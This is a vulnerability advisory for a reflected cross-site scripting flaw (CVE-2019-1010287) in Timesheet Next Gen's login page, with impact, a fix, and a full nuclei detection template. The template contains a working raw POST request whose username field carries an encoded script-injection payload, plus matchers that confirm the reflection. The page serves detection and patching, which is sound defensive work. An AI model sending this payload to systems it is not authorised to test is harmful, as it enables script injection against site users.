Timesheet Next Gen <=1.5.3 - Cross-Site Scripting

mediumseverity

6.1CVSS score

4.3%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

Timesheet Next Gen 1.5.3 and earlier is vulnerable to cross-site scripting that allows an attacker to execute arbitrary HTML and JavaScript code via a "redirect" parameter. The component is: Web login form: login.php, lines 40 and 54. The attack vector is: reflected XSS, victim may click the malicious url.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.

Fix

Upgrade to a patched version of Timesheet Next Gen (1.5.4 or above) that properly sanitizes user input to prevent XSS attacks.

How to confirm it

Send: POST /timesheet/login.php
Positive when: contains "><script>javascript:alert(document.domain)</script>" AND status 200

Run it with nuclei: nuclei -id CVE-2019-1010287 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-1010287

info:
  name: Timesheet Next Gen <=1.5.3 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: 'Timesheet Next Gen 1.5.3 and earlier is vulnerable to cross-site scripting that allows an attacker to execute arbitrary HTML and JavaScript code via a "redirect" parameter. The component is: Web login form: login.php, lines 40 and 54. The attack vector is: reflected XSS, victim may click the malicious url.'
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to a patched version of Timesheet Next Gen (1.5.4 or above) that properly sanitizes user input to prevent XSS attacks.
  reference:
    - http://www.mdh-tz.info/
    - https://sourceforge.net/p/tsheetx/discussion/779083/thread/7fcb52f696/
    - https://sourceforge.net/p/tsheetx/code/497/tree/branches/legacy/login.php#l40
    - https://nvd.nist.gov/vuln/detail/CVE-2019-1010287
    - https://github.com/merlinepedra25/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-1010287
    cwe-id: CWE-79
    epss-score: 0.043
    epss-percentile: 0.91218
    cpe: cpe:2.3:a:timesheet_next_gen_project:timesheet_next_gen:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: timesheet_next_gen_project
    product: timesheet_next_gen
    google-query: inurl:"/timesheet/login.php"
  tags: cve,cve2019,timesheet,xss,timesheet_next_gen_project,vuln

http:
  - raw:
      - |
        POST /timesheet/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=%27%22%3E%3Cscript%3Ejavascript%3Aalert%28document.domain%29%3C%2Fscript%3E&password=pd&submit=Login

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '><script>javascript:alert(document.domain)</script>'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from